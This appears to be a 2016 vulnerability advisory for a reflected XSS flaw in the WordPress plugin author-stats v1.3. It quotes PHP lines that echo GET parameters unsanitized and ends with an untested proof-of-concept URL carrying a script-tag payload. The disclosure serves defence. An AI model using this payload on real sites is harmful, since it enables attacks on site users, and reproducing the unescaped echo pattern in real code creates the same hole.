Advisory #: 673
Title: Reflected XSS in wordpress plugin author-stats v1.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/author-stats
Downloads: 1434
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: author-stats
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./author-stats/php/stats.php: 15: <input type="hidden" name="page" value="<?php echo $_GET['page']?>"/> 119: jQuery("#combobox").val(<?php echo $_GET['author'] ?>); The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./author-stats/php/stats.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/author-stats/php/stats.php?page="><script>alert(1);</script><"